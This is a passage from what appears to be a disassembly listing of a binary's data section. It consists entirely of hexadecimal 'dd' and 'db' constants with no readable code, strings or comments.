0F1C440FFh, 0BC000C11h, 4B394262h, 1814577Fh dd 0AA801C03h, 0E4FC5982h, 644A912Eh, 77019912h, 77B27C65h dd 60802171h, 803B02C5h, 7F0FC6A8h, 5035654Fh, 62E09200h dd 2F13566Dh, 0F923A900h, 1536CE52h, 0B95A0009h, 9F8B692Bh dd 9302F226h, 3A524825h, 70BEC086h, 31460040h, 59870FDEh dd 0DDFAE417h, 0C3C1CC03h, 3BDA5D5Ch, 0A98007C0h, 34E750FEh dd 15006ADFh, 7DC7DB38h, 0A8BBAA9Eh, 0E594DF8h, 0FA17A62Eh dd 2B167AC0h, 0CB00DCE5h, 14C7E4DBh, 0D1C3AFh, 0E71FAE56h dd 0D2F691A9h, 766F9400h, 9A3CF5E2h, 6A18010Ch, 7FE24DEh dd 58377096h, 63FC3007h, 5F80B568h, 78A959Eh, 62812688h dd 0BD5840FBh, 48001D14h, 0B93B04CEh, 94515Dh, 6A4FB0F5h dd 0C02F68DDh, 0C973F90Fh, 6220C410h, 0FB209887h, 3CF0066Ah dd 0D83BC68h, 3642EEB1h, 3F3B18A0h, 2F0E1B78h, 408E866Ah dd 1CAFE1D6h, 7D710048h, 0C7B6A435h, 750E62E3h, 27575D88h dd 87404364h, 422C8A3h, 86E53CD9h, 8E6087CFh, 0AD63FA60h dd 79000CB5h, 56F418D4h, 3C1395CDh, 0DD1E1085h, 393D8057h dd 0E9504F7Dh, 35F8C450h, 11FB9107h, 0EA509EBAh, 49C94Eh dd 0CFDECCE8h, 0FE2A6AFDh, 8C03DA71h, 0AFBA71E3h, 373BD904h dd 721C420h, 9866BBFDh, 7CC390C7h, 95009B15h, 24C061C1h dd 548C26B9h, 1D9E880h, 50F36EF6h, 0E14F7CFEh, 463C2436h dd 7976E100h, 0DDFF3252h, 0A3FB003Bh, 0F3F4971Dh, 7C005B92h dd 3ACE6646h, 456E7Dh, 0AFD0E521h, 1475E720h, 686CC413h dd 0EC88C05h, 0F2488C03h, 0FFDCE04Ch, 150200F9h, 0C4914D0h dd 0CB00F5C1h, 9D3D3953h, 0BAED75h, 3B01B7B9h, 0C42FC50Eh dd 0A832D414h, 1EAF1CE3h, 0B798E600h, 0ECC003h, 0E48F87A6h dd 24B1B083h, 0FE16B800h, 0B267285Eh, 1239005Bh, 44B6746Fh dd 0B30043C4h, 0BC526C0Ch, 5DDD63h, 191E6B67h, 288C458Fh dd 0C79FAD14h, 790A0084h, 4DBF6A3h, 8413006Eh, 0DF167BEAh dd 5B001597h, 0F0CA9D08h, 690DBCh, 0F2A99B7Fh, 0B1FDA6EAh dd 7C03AE39h, 0D932C500h, 9EC69C58h, 5DBF0001h db 7Dh, 0E0h, 0EBh db 0DFh dd 0A20E17F9h, 20F4FBA4h, 0D63D3E7Fh, 0B1B62612h, 6C4780F8h dd 0D5A88C1h, 2014A4A1h, 0E600CDD0h, 0A7E2F435h, 6352DEDFh dd 34C021E0h, 65B014C3h, 4D005726h, 0A859D066h, 78E89Ch dd 0C38EF95Bh, 0D605802h, 57931600h, 0B740D156h, 253D2E4Ch dd 10CF18E4h, 2F90F588h, 35CC2B00h, 7996D3F6h, 16AC07B4h dd 203C2A40h, 0E6B744D5h, 0C93E7F78h, 0FC4C72h, 5B6BAF57h dd 0EB6245h, 34D5EAE5h, 379A5297h, 1950640Fh, 0E91AAD10h dd 34AFECh, 9CA1ABA6h, 413929DFh, 97E4097Ah, 7D05E41Ch dd 1567AA00h, 9600A65h, 812E9DFEh, 1AEC0400h, 0E100B668h dd 0FA67BEF2h, 3C230A2Fh, 480C68Ch, 6FE77345h, 8D5CDDD8h dd 79284C64h, 9F811F07h, 3BD039CFh, 0DA18A5h, 0FE0A55F8h dd 7762FB2Dh, 9CF75Ch, 17AF431Bh, 7AC31A81h, 3D45007Dh dd 27B774AEh, 9F1D67CDh, 118012CEh, 66E81AF9h, 447184h dd 57DE4390h, 0D7F86AA5h, 69A25105h, 0D80017BAh, 9132687h dd 0A1280035h, 0D077E80Bh, 81DCE7Ah, 6BC3EED1h, 0D0393EDAh dd 0B3EC92h, 480565DEh, 0D70325B9h, 84BE4F00h, 0C6B42436h dd 0C08200C2h, 0E5DAB2E8h, 8EC0F57Ch, 92B3E085h, 72C30060h dd 917EB439h, 48003135h, 9F966C53h, 7A2D7D2h, 69450768h dd 2A645019h, 0F00E205h, 0D03A5FF2h, 89316Fh, 731126B0h dd 4462DE22h, 2EBD1A0Eh, 9B41806Bh, 0E52557h, 4A2430E3h dd 0E9271084h, 2E65BD00h, 0FBAC9901h, 350D2E38h, 51AB8068h dd 0CFDB5CB4h, 55166CF6h, 0DB001181h, 0D43B16A5h, 22CC00ACh dd 3F1EBE32h, 0FF004740h, 18B8A063h, 7F68E82h, 8B879CF7h dd 16AE01Eh, 44019011h, 6C491DF0h, 84722FFh, 18557870h dd 0DC400084h, 0E0AA104Ch, 5E606047h, 0C138DE91h, 94561D20h dd 0B8FD4055h, 405FE369h, 10A16032h, 0C3E4EB4Ah, 8EC5C0C9h dd 0B29C091Ah, 0D20012D4h, 2F3D4926h, 0D1DAC00h, 0EEB87250h dd 0E9C0002Dh, 0B6BDB5A2h, 161D629Fh, 46CAEA37h, 10004099h dd 5B2CE095h, 72E5A094h, 1C850FAEh, 7B878DE2h, 3924A196h dd 0E448CDA3h, 4506E627h, 54BD3FE5h, 5EC60590h, 907FE18Bh dd 6B48402Ch, 5AA30A0h, 5C02E9FCh, 0E2E5E0E4h, 0C0148075h dd 1F1EB78Ch, 0C9D903C2h, 835ED3BFh, 9A80861Eh, 0A231C02Ch dd 148FA26h, 65F35EB3h, 60C92D21h, 0AA00AE08h, 54831DFEh dd 2C6846h, 0B993729Fh, 0FD6CFC80h, 153E6400h, 0EC8DB38Ch dd 39ED00F4h, 9B4BC1A8h, 980E7613h, 0A3129177h, 8070D13Fh dd 704D7F9Ch, 0E12E39E7h, 0F8E38A00h, 3D79385h, 6D4ED300h dd 0C143BCD5h, 0F0481859h, 0B9611A04h, 30ABBF26h, 1B3CBD80h dd 0A086372Ch, 749E1EACh, 21AA6090h, 271C6EE2h, 0F7B24607h dd 0C8E1A8DFh, 1960A5DDh, 21FD009Fh, 0E5357C5Ch, 0D201F996h dd 0EC34E63h, 0A050DC07h, 16D2FA0h, 0C21AAE79h, 9602B55Dh dd 0AC400408h, 76D17F5h, 7A5F0180h, 0A9D6F95Eh, 0C4808398h dd 1DC356E4h, 1A5F7F58h, 0FCEB2038h, 28CD073h, 37301BA0h dd 12169066h, 1C72DEh, 0BE75FC4Bh, 0E103D16Ah, 595B84CDh dd 2A34887Bh, 749D0D33h, 2069DE39h, 5100E8D4h, 34FD1960h dd 0E8FBE148h, 49E40D4h, 9DE81307h, 7AA36DEBh, 7B000DCh dd 0DE332616h, 0EA3F52C1h, 6FA00336h, 94962741h, 0E0019D07h dd 0A5AAE59Eh, 0A8A1E107h, 3346E0F5h, 0C6A30021h, 8E5BA99Ch dd 0FD1822F7h, 0C249D38Ah, 0A2023052h, 0B981A610h, 2FF83400h dd 2193E88Bh, 71FAFBh, 9AE0C9B6h, 0F232D8A6h, 5720E200h dd 6A139FFh, 898A000Eh, 0A46BF5FAh, 6C0FE4D8h, 802A15ECh dd 0A72196AEh, 173700B2h, 6EEB4677h, 8400927Ch, 0FB580A53h dd 0F65D689Eh, 0E72F00AEh, 0CAC09D4Dh, 0C275FD4Eh, 25E5CF03h dd 90A253FBh, 61CC5h, 97F3B7BBh, 0C3FC3836h, 402B7400h dd 814A90AEh, 937A0F49h, 0F2E1CE89h, 9FBDE707h, 0C100F930h dd 0A6A5FB17h, 395807E0h, 0E029527Ch, 8FB673C6h, 1AEC184Ch dd 6030CF5Ah, 39BD1AAh, 3B5EB53Eh, 0BCF0CDDBh, 28CF2D40h dd 60DF8E52h, 3B46E139h, 56CB006Bh, 0FA37E911h, 3F4FB908h dd 6800B0ECh, 75C9F7Ah, 0BB0FF2F0h, 6ED9F937h, 107DC08Ah dd 143CF1DCh, 40F3B4EBh, 0BC3E4F80h, 6D00331Dh, 38503FF8h dd 40DE6F1Fh, 8A1F6AF4h, 0E8DCA7D0h, 0E5CB5340h, 11CEBF3h dd 459FA04Eh, 50C421FAh, 0CB386E80h, 7369C300h, 50830F9Dh dd 5F433D7Bh, 1C4ED9E0h, 16012DF6h, 511AF874h, 0B570F7E0h dd 0F0FA625Bh, 0C0A0EFFEh, 3644C4B4h, 0A4E85100h, 0CE9B7A38h dd 11461873h, 0B5B19209h, 0DC9878C3h, 4B7AE813h, 0E5AE001Ch dd 7B8910ABh, 8F0A722Fh, 9C57DC1Bh, 0FA99AF00h, 1FDB515h dd 67883E5Dh, 0F04F2E0Ch, 0F700DDA2h, 41528A63h, 0E8B15A3h dd 75BE44DAh, 786BFDC0h, 9FE2A267h, 809829C9h, 0C04BF4EAh dd 58D70007h, 27D48B32h, 401E3A3h, 8A62AD4Ch, 7A817A14h dd 6BBF09F2h, 0B376E0C6h, 5D8D890Eh, 62F7618Ah, 5980A1C1h dd 0DCD68F36h, 0E50009DBh, 0AB3A709Fh, 37721FE4h, 0C048882Eh dd 1DF39277h, 318CA0A0h, 5B71958h, 74C620A1h, 80773008h dd 0D56818DEh, 88013C69h, 0E9C4254Ch, 0CBCC946Fh, 0E8E70078h dd 0C379F691h, 19C17A61h, 8AAFF772h, 1006F910h, 0E78D3E1Dh dd 0B08E6F8Ch, 8A083ABBh, 129B973Bh, 0F3E076CDh, 450FDA7Fh dd 402B8F21h, 419B0C2Dh, 0D1B4008Ch, 84E19CCDh, 80957E01h dd 3E26360h, 0CB120E3Bh, 7DE06D36h, 7E055C5Fh, 0B1A2B800h dd 821D855Eh, 2BD00BAh, 24D28141h, 3A00D4E4h, 209F4EB9h dd 0B25C72h, 0D164B025h, 0BF74E65Bh, 79C77E03h, 0A3C9AD38h dd 73210EE4h, 5140E613h, 0A9B33C0Dh, 2B006B98h, 89BF41C0h dd 78321BAh, 0BDD4B163h, 81254064h, 8200CA95h, 62EFDC29h dd 0D37850Ah, 0E33C2BDAh, 0B0298040h, 0C77C0477h, 92BA068Ah dd 2082325Bh, 20B8CE06h, 297A03h, 73E54BC4h, 0A7783BBCh dd 7974F573h, 20C0B8EEh, 5E5A3B9h, 0DC6700A4h, 3065273Dh dd 91E6436Eh, 0AAEF3B18h, 0BDF558h, 0C8D9921Bh, 0F053ABB7h dd 80DA4530h, 1F51E2EEh, 401AC209h, 6F5A77D6h, 3717DF7Ch dd 8D1DB976h, 0AAC5AE03h, 63C0984Bh, 0DC3A005Bh, 0B0FBCDDDh dd 0E6011A6Ch, 6338FB7h, 0B02E535Ah, 0D91C748Ah, 84C0A559h dd 0D7D65245h, 0FAFB0008h, 2429E586h, 0A64C2D6Fh, 4B4600BAh dd 400C7D2Ch, 5F850034h, 11613791h, 89EAE8AFh, 9000D2ECh dd 10077422h, 77B5F0h, 24EA58FEh, 1198600Eh, 807C863Ah dd 0BEE0A347h, 4FFCF8h, 6DDD038h, 690E21E3h, 632E9D00h dd 1388AE3Bh, 487A00F8h, 0C92899BAh, 9A3CCAD7h, 27B300F6h dd 665F45A6h, 983204C7h, 80E1DEF0h, 0E7D393F6h, 8C838638h dd 88B635Ch, 2421C0E2h, 0CB9AD299h, 0A7F76801h, 5F46C5C3h dd 0AE073C0h, 0E3493B15h, 0A6430383h, 37D8271Fh, 0F2FE7255h dd 49DB1731h, 0CAF46CDDh, 11C1608Ch, 68593BBEh, 0FC7D4401h dd 35754BF0h, 0C0E2D3D0h, 56628120h, 1D003332h, 0E9F5EC65h dd 60AC023Eh, 0B6435899h, 0DD01196Bh, 1A623D37h, 68F01815h dd 90EC33DAh, 0A2E13E70h, 5918804Eh, 0BF178DA1h, 281A00FAh dd 0C9C88C26h, 8B755AB8h, 6C7B7E00h, 30565743h, 0F6C100C0h dd 65F32ED8h, 110014B6h, 0B9CD61C4h, 412001h, 53795762h dd 7C637A0Bh, 0D2F53Bh, 0AF7487A4h, 0FBC6082h, 14BD4ACh dd 0A1779700h, 7B003399h dword_562194 dd 0B28F6795h, 0FE1CC7D8h, 214307A8h, 903A14E1h, 74E4C6D2h dd 9CEC3300h, 3937BCAFh, 7A833EB4h, 8A5A100h, 6EAC5F09h dd 4EB69200h, 6A736C2Eh, 0FCDE180Ah, 0A6110876h, 77DC20C0h dd 1D15042Dh, 408299C0h, 6A0610E3h, 0BA1C7419h, 4142354Ah dd 0FFBCB14Bh, 0DB26B101h, 6C9EDCB0h, 44AC6203h, 3CDD8B8Fh dd 0CE025650h, 38471599h, 0EFB8BD60h, 30B69A3Ah, 3CAF21A6h dd 0E9BA0F15h, 98CFC167h, 2C5872E0h, 13186D92h, 7960DA7Ah dd 0C6D80A5Eh, 568E47Ch, 200CA5A0h, 0D02E4A70h, 0C38A743Dh dd 880A7E22h, 0BCF23C73h, 62B3C300h, 75F70FDh, 0CDB94758h dd 6F38339Dh, 0DE985100h, 54106DE9h, 0EE900A74h, 44AC9FD7h dd 2E4B6009h, 22741077h, 8084C80Dh, 0E3C7089h, 0FB79A5C7h dd 14A9733Ah, 1CA4481Dh, 0D64C7CC0h, 0B251A7h, 6408ECE7h dd 11A9999Fh, 0D908A066h, 0E6520021h, 2E33D5ECh, 3C0A6F42h dd 0A872B913h, 0B5AE300h, 0B08FD49Eh, 34B80739h, 5ABA965h dd 919801E8h, 809EB44Eh, 0D7E66EC8h, 16EEAEh, 0F6B63618h dd 11DF5BFh, 80759239h, 8F734EF1h, 9A1C76h, 70E1ACEh, 0E10DC685h dd 0A62E3918h, 3F18091Ah, 800040D8h, 7C9C97DCh, 96F65CA5h dd 9E14E600h, 0CA2CF94Eh, 0E3D017Ah, 0D016CDC0h, 0F69E8002h dd 0E9A4385Ch, 7DC9000Ah, 0D191E104h, 0FBF23B71h, 2361E00h dd 21261DDBh, 50CF00A9h, 8A73D99Ch, 70001511h, 9E5DA8C7h dd 0EBACE5h, 0BA4DA4A3h, 0A93943BEh, 66DD3D00h, 958A497Fh dd 3FE7679h, 963CDC01h, 6BA02A81h, 130F5A17h, 3E0BD6CEh dd 0BD005E1Eh, 75D5B219h, 29740784h, 402F6EA1h, 34F007D2h dd 819A6300h, 518026DCh, 97443174h, 80951450h, 31CE7A59h dd 6D9982h, 59C9D5E1h, 368E1869h, 9F091018h, 7D95329h dd 0C95ABE34h, 92890133h, 0BB83E964h, 27E49D21h, 84F56030h dd 36BC3195h, 850B7211h, 0D5F42A88h, 0BEA28780h, 0CAFD13A7h dd 0CB4B0064h, 96BD5D1Eh, 86DF0503h, 3CC6F4h, 6A162FC8h dd 50459C2Dh, 4E054800h, 28469FBh, 7FD0072h, 0E2BDBB59h dd 400DD85h, 0AA549C09h, 76BF962h, 89037A53h, 33E4F1A3h dd 802FC123h, 0CF0B97B0h, 50BD6Fh, 0D30F0730h, 79F26787h dd 3206367h, 0C7D128F0h, 0F5BD01F7h, 4D49D445h, 849143A0h dd 0B080A9E2h, 924416AFh, 0F157AE30h, 63E6E445h, 90FFC022h dd 3A285103h, 88C214F1h, 0D78548h, 0CCD95E9Dh, 0E4094BDFh dd 2FEAC700h, 0C23E1E7Eh, 0BFB93826h, 47336080h, 0C422D92Dh dd 8F529E0Fh, 0C75540A4h, 5C1AEEh, 969D6509h, 499BB792h dd 0D9930500h, 314CB233h, 0FB101B55h, 91C03030h, 0AD18FE51h dd 0E010540Fh, 0B08C0718h, 80C6ED67h, 77DB319Bh, 0CA638900h dd 30B35415h, 464E0199h, 3965248Eh, 6794E049h, 7526D301h dd 82C2663Bh, 1E6AD860h, 40AB9EB1h, 0E247BE04h, 4A00E143h dd 52E6CC99h, 3B0263h, 67852550h, 440965EEh, 4B42A100h dd 0D5F6F21Ch, 626F012h, 30A603F0h, 3C00B94Ah, 0DA4E59A3h dd 3B7B1CDFh, 1630E84Fh, 0D9F9E020h, 4B9C8118h, 1EF3FEF0h dd 8052F829h, 98037E93h, 0AD0068AFh, 41D896C6h, 0E50520h dd 4088BC22h, 0D5F31619h, 950044F8h, 0F09FE8B0h, 67370Bh dd 3123DEF1h, 0BD845B69h, 0C50EFDFAh, 80FEA4E5h, 23DF0DD0h dd 5BF012h, 46E478F9h, 28D606F3h, 2A827E03h, 0F6E8EBAFh dd 0DAD10048h, 0DD2EC0Eh, 0BD00FF74h, 5BEB7336h, 0F06A889h dd 0E0DC55D7h, 8D1F5440h, 0B161E528h, 251A683Eh, 81D09891h dd 0B8A15B70h, 4C13B871h, 8321000Dh, 0AADD5BA3h, 4800D18Bh dd 0BD8137D5h, 0D8E0FA6Ah, 0D2ADC090h, 9916B637h, 32B98380h dd 958E03C9h, 7D6ADD84h, 3BC240AFh, 0CE00DF0Eh, 96C94A61h dd 242A910Ah, 18EDB877h, 84435150h, 9EE76705h, 0A80F8118h dd 478CC076h, 73EA3D8Eh, 1B5C05BEh, 50F40AB6h, 9009CE8Ch dd 1E007E84h, 39E733Eh, 0B0A0EAE8h, 0CF00B4D1h, 0C3529390h dd 3BE6E15h, 51B8019Dh, 0AA00FE1Ah, 793D07E3h, 0F4AE345Ah dd 0C99C00D2h, 1F86DCD8h, 9200D346h, 8A3E7EF0h, 168C85h dd 5478BC69h, 102E0317h, 2007DE0h, 3412EE31h, 0EA30528h dd 0F9E7D1A1h, 74F85560h, 780036D0h, 294C97D4h, 3BD375h dd 11633A1Eh, 3E69E2C3h, 0F713B100h, 540B17B3h, 0AA7C1FD2h dd 925A804Dh, 4B7991F4h, 0ECC9F02Ch, 30470900h, 0F240F7h dd 20BF506h, 0C468E44h, 0B12E20C0h, 1917708h, 0AF564559h dd 606F216Ah, 0F400AA98h, 6E1A6D5Eh, 3728967h, 0FEC72E2Ch dd 5FA32B26h, 0AFDC5BC8h, 8F1CE239h, 80144740h, 0D3848591h dd 1D0130FCh, 25AE5828h, 4490D402h, 80A43562h, 0BF4D00Ch dd 0E81000D9h, 4EA28BB4h, 0DA00EF86h, 20D82D73h, 1FE809Eh dd 41A8A6C7h, 0FCFF757Fh, 4CF016C0h, 0A0C44930h, 7185F081h dd 2D7400D3h, 0C3471CEEh, 51077F34h, 9EDEB1C5h, 2ACA93h dd 2D0F8278h, 93FF0658h, 0D4D19C00h, 0D2567267h, 1BCA0281h dd 41B6A6DAh, 0B0E541E0h, 0E6B5D01h, 612FDCA4h, 0BC79C40h dd 914F3E81h, 0D18E6C84h, 0D98BC60Ah, 0AA18C3B0h, 4910129Eh dd 95DB0151h, 831ECFBh, 0F8A04030h, 0A400056Ch, 0D69AB004h dd 3F3B4DFFh, 0C189C945h, 0F2804119h, 0DD4CE447h, 4FE81760h dd 0A70E01h, 0E9928DEBh, 0D1F721F1h, 1BC9B91Fh, 0F2F028C0h dd 0F63C8FDAh, 72B00227h, 0B8750C45h, 0D5C6E057h, 50660095h dd 8EC35DDFh, 1A003BB7h, 0A8F9412Ch, 573724h, 0F3149042h dd 0FFA004D3h, 4DD21A00h, 0A58541F5h, 0A9BE00FCh, 825B1019h dd 5E00B4C1h, 51EC8E9Eh, 631389D7h, 0DDC41808h, 20F14BD1h dd 48F0C5A3h, 61AD9C00h, 73FA08F7h, 857E00B6h, 63927657h dd 0C37F100Eh, 8F179400h, 2A037EEh, 6DA21FF7h, 78E7D8F1h dd 0C888E4A1h, 0A6AC0136h, 401F2C55h, 0A8F886F3h, 0C171D7h dd 4B38D507h, 2DF14D3Ah, 0F61EFA03h, 0A9690B87h, 86817E75h dd 0F9A9BC9Bh, 49B88106h, 0A8D23D79h, 0E2F32F0h, 587E400Ch dd 56692860h, 0DE7C35CBh, 0F8077B77h, 0EFE6A3Bh, 0F7988980h dd 0A7540E91h, 409F9765h, 99A1DA8Ch, 0DDF49FA0h, 873D8874h dd 0CF9407B3h, 54C08C61h, 1E83AF23h, 3935C22h, 0A05D6269h dd 16BA4002h, 60F8B871h, 3C8D5284h, 14803644h, 0A841F09Ch dd 960CFBFEh, 40828F02h, 0EAE7B76h, 9A84F863h, 0F3336480h dd 6B015767h, 0CC399415h, 7880A1E1h, 0CDC3BB2Ah, 0EE1DE569h dd 920095F2h, 9AC44AE3h, 2970A4Ch, 5B2C229Bh, 94B021E8h dd 0E5ABA8C3h, 0B1F00626h, 0C163C57Ch, 0B7A74B00h, 9D1068AAh dd 4E2C0D93h, 0C4F86679h, 0E2051B04h, 9549B322h, 0C5449840h dd 0E6F7D834h, 768E003Eh, 0F0D14FF6h, 0BA002183h, 8D33F431h dd 0D8C254h, 0F984428Eh, 86931C6Dh, 0EA194B73h, 2D70289Ch dd 2452F8C1h, 19EE2E96h, 3D8CCD20h, 2F51BEBCh, 0CA520D0h dd 0BA81B9C0h, 7F128D23h, 89AA2451h, 7F2E028Ch, 0A4817687h dd 0C7CBA54Ah, 7B6985E0h, 333CB000h, 0E4101858h, 190007Dh dd 960737D9h, 0FD0013E9h, 0EC5E2A7Ah, 1435689Ch, 84692DC8h dd 0A227EE00h, 0C079EDB5h, 2ED4A402h, 8CC77F77h, 0CE68BCh dd 0E0C467E1h, 73060914h, 24A96500h, 0A73E6D2Eh, 0C6771FCEh dd 79E60BA6h, 44878Ah, 0B77F3835h, 93036154h, 0BBD18414h dd 0BFE0059Eh, 0F8A49D94h, 0B28000DAh, 0C4882A7h, 5A4702DAh dd 0AD8E4A12h dd 0AC811448h, 0EBE07500h, 39FBDBC0h, 0FD94013Dh, 48521501h dd 530BB53h, 25C8147Dh, 64E414h, 68550BC5h, 7DAD0E93h dd 0D2F694h, 43893022h, 1B2D8E96h, 1166EB30h, 0D3B972h dd 3D8A6FE9h, 2E344F26h, 0ABCFA300h, 2A5A701Dh, 0A8D100C6h dd 5937C9Eh, 0F90313CEh, 3F926516h, 6297EF4Eh, 5CA95A11h dd 5D6DECh, 9287AD7h, 60D82ECh, 0C0123705h, 6BC0AD23h dd 7EA2AD4h, 0D0C37A88h, 6139B01Bh, 0ED00E86Eh, 35C7C6B2h dd 37EB40h, 0A49AFC11h, 30CAE0ECh, 43719100h, 0F724621Bh dd 0F38008Ah, 7761758Bh, 0C40F4694h, 736B439Eh, 0FFAD00FBh dd 0D863B9B2h, 6F267600h, 31EC705h, 6CD03BD9h, 4D7C3000h dd 8516E9BBh, 0A0D7F001h, 7D4B54CBh, 0DE33288Fh, 7FED3FE0h dd 0FC1C9FEAh, 0C680FAA8h, 0A7BE789Dh, 31CF1555h, 9B1EA8E0h dd 9E07BA67h, 5BB78Fh, 6A1D48F0h, 55F2EA00h, 0D0ED0B42h dd 58430086h, 0D11697ADh, 0D703E621h, 7224ABC7h, 9E19F18Ah dd 0A1F64880h, 42DB507Bh, 16622600h, 6F08A006h, 411C2889h dd 2E7AECE0h, 0CEA2B5h, 366D1EE3h, 5B0011AFh, 5ACC4F49h dd 0F7EB0F4h, 960C8D72h, 6ABD2160h, 0F1000E43h, 0F54ABB44h dd 1919809h, 33DC37FFh, 0D7E2AD18h, 0EE8EB8F8h, 0BC668C00h dd 6594D530h, 2C6D008Ah, 55F0F3B6h, 214BDF5h, 4E05AB3h dd 0D0DD4948h, 7919BC0h, 0CFE700A7h, 0D36388AEh, 5008595h dd 9AB52078h, 0F52C874h, 0DBA8033Ah, 0F9623600h, 0DA00615Dh dd 4EFBB0EBh, 322ECCh, 0D47F5285h, 1016F3A0h, 80E5452Eh dd 3A5AA100h, 3E340FDh, 49FB60F6h, 7DB072BCh, 1F003829h dd 0C66D68C0h, 6410F9h, 0CC6C1509h, 67A8E330h, 80AE4F3Eh dd 71893742h, 1F0178Fh, 0ECABF80Fh, 807EBEAFh, 76FF647Eh dd 0E1110Ch, 0A050BAA2h, 1795EC04h, 62124BFCh, 0A840059Ch dd 78D146B5h, 0FA9A00B2h, 0A00B71EAh, 0D6008723h, 603B1C47h dd 0A4F10Fh, 50B0E05Bh, 447DABE1h, 75B82700h, 5F249C5Ch dd 0D0E8F7D6h, 0D4E049EDh, 200414Ch, 0F6D2F2AAh, 0A477EEC4h dd 4B3511Fh, 153D68C0h, 57DBF0h, 3E54108Ch, 5ACBF1FBh dd 3D892E3Dh, 4D6B00A4h, 0B76C0A79h, 247B034Eh, 0E1539AB6h dd 0DB01F1B0h, 0C3D1424h, 95CEFD00h, 39649E74h, 0BC00FE52h dd 37809D2Eh, 34380EF0h, 93B680E6h, 26AC2901h, 88B00A6h dd 51C95590h, 34099F40h, 8922C83Dh, 2E005F5Ah, 4EBBF4EAh dd 0D9FBF102h, 0E0C3CAB8h, 1DC2B48h, 137A8DA4h, 21848A75h dd 252C4084h, 504844D7h, 0DB930064h, 0EB35925Bh, 5882004Ah dd 0FB2A5CF6h, 7F076EBBh, 59C5A581h, 0E1F2E550h, 0A2AB00BEh dd 94B89EE9h, 0AA1D17CCh, 80FC9AD4h, 57441D3Dh, 0E21AC38h dd 0FA34880Ah, 0E7F39780h, 54003B85h, 0D18677ECh, 90FFB8Ch dd 751FF1F0h, 0CEF50000h, 0A307EEDEh, 0CBACE444h, 0E6A004Eh dd 0FB1778h, 91C550EDh, 33DDD06h, 0E4879900h, 1A2B62B3h dd 40100EEh, 827039A4h, 0DAE0A2F3h, 0A6C3D500h, 0D667E61Eh dd 989763D7h, 39D87B1Dh, 0DE0163AAh, 0F7FD07B9h, 1187DF12h dd 10040D5Fh, 5C9DDAE2h, 0DDE7CB1Fh, 7B184000h, 0FF3CFF0h dd 6EAFCE91h, 8025A047h, 363BAC6Ah, 0EB427900h, 92F2B246h dd 0F61F0170h, 51D40B0Fh, 304AC9FEh, 2424793Ch, 0BE07D887h dd 5710C578h, 903CF975h, 0E7FA0114h, 16EB63A7h, 5102030h dd 0DD62F61Eh, 1AC081BCh, 0A0568210h, 4123830h, 0F314A8D9h dd 9674C0FCh, 0D4492291h, 4D084898h, 0DC680210h, 63C5E63Fh dd 8059FF61h, 2802BF0Ch, 0DE6F0288h, 0B6EAD20Ch, 2D3D5044h dd 473780D0h, 2F98FC46h, 67000FAh, 25247166h, 0DB01E2E4h dd 0EF0CE175h, 0D8244C87h, 408886D1h, 8712CD76h, 9443A235h dd 0D0A07053h, 531A4E9h, 4C179D93h, 0C6E4079Bh, 6C1BD03Ah dd 3EE6E536h, 58EE030Fh, 8C0240BCh, 6E91C3h, 0A4AD78BFh dd 421F86C2h, 70123500h, 4DBD3B66h, 0C86D0E82h, 0E7A7D2A2h dd 3EA4E059h, 6501C66Ah, 8B1BF1F9h, 0CFF49C6Fh, 0B9F5043Bh dd 0C144815Ah, 242F8E0Ch, 0DDE4EFCCh, 0D45FAC01h, 55067684h dd 0B43FC8D7h, 49E900AEh, 165AF298h, 0D600F42Bh, 88D5557Dh dd 98D131DAh, 0A4A80EF1h, 0A0E0031Dh, 443BFF22h, 20172100h dd 0EBBFEE27h, 7BD001Ch, 0CB8AC248h, 0F1008CE4h, 42643C68h dd 30FAE2h, 0D3EEE6ADh, 61111BE3h, 0D6CD160Ah, 7800AC1Fh dd 1AA2BCA8h, 6608012Eh, 161C170Ah, 0C9E450ABh, 2C9044E4h dd 88003677h, 7EF002C4h, 36E1704h, 7595E767h, 57D827A5h dd 7D2CFE31h, 0E080905Fh, 5935D6B3h, 5BD48FAh, 23FEA204h dd 7DA0D0EBh, 9200A8E8h, 7B021748h, 0DAC813h, 0DC35105Bh dd 0BE9D4442h, 2F8F2B13h, 5A4BC061h, 37D4E300h, 92CF5000h dd 0D19A1BD9h, 532700B1h, 0A8D57DF5h, 0A700A50Fh, 94228D59h dd 24C720D2h, 602CAFC6h, 63AB0946h, 0E9AC3200h, 0FB9B4781h dd 0AAA03B0Dh, 531ED980h, 64612CD1h, 0A4E32A1Fh, 5F01DEAEh dd 0AB27715Eh, 398797ECh, 0C980E288h, 0F22E2803h, 3BF2CFBCh dd 61DF271Ch, 0C3E39DBCh, 30C17083h, 40CDF229h, 405A2Ch dd 25EE9014h, 0CBA2E891h, 0F17C3DE0h, 95291E00h, 0F74BCFBFh dd 0E2F27Dh, 0B833761Ah, 942DB287h, 0F37FE500h, 1302EFA0h dd 8A5300D4h, 0FFC3056Eh, 32000674h, 0CC01A470h, 717584D0h dd 0DCD81439h, 2F2CBCA7h, 8A32D8A0h, 0E0082485h, 0A249196Dh dd 0DB0E6414h, 0FCCE01C0h, 3CA2947h, 52011466h, 0B2A01DECh dd 0D4246195h, 8824C1E0h, 69001449h, 0E4F8C2Bh, 0CCA103D4h dd 0CDEC7744h, 0B8A87900h, 5A6D3C41h, 20246A19h, 1F801D48h dd 0A64FC905h, 204884A0h, 0F217E9B1h, 0E046771h, 8880E2C9h dd 7E0A6F0h, 98C2D10Ch, 0DCE9106Dh, 900A4BBh, 0A3F5126h dd 935D2EDh, 6D0B9E05h, 14490480h, 0BD032D9Ah, 0B642A22Ah dd 0ED5EA89Bh, 13960EDAh, 0F8B8CF34h, 0F3F2F9DFh, 0A5282B60h dd 5A66EDh, 0E4EF22E2h, 8D952508h, 38920E00h, 0DA450610h dd 86972455h, 780962A8h, 0C582BC68h, 62B8E160h, 1C7E8DBh dd 0C2D6FBB1h, 40710739h, 616B23CCh, 0C57FEB01h, 25315FCCh dd 5304DC33h, 9060AE02h, 6B0999C4h, 27C49B0Fh, 0E91D0FDDh dd 74AC1671h, 0E8F1837Eh, 75CC22A7h, 0A562E700h, 9482FA24h dd 7E9F003Fh, 0F606EA78h, 2D007DF0h, 36C9CA07h, 0D7B31Dh dd 0D52EB4E8h, 0AFCBEB3Ah, 25462E3h, 76D2CC5Eh, 9E3CA430h dd 0C9B04087h, 8C7948h, 12B93A95h, 0EBC074FAh, 0F4256F00h dd 0CFF796C1h, 0B47C0FADh, 6920A344h, 3EB5C9CBh, 310223Eh dd 65BA9015h, 0C79F98EFh, 0CAAC07FBh, 70C4F442h, 3B217B19h dd 35C5CB00h, 0AE889F1Bh, 0D2763F2Bh, 80CCC328h, 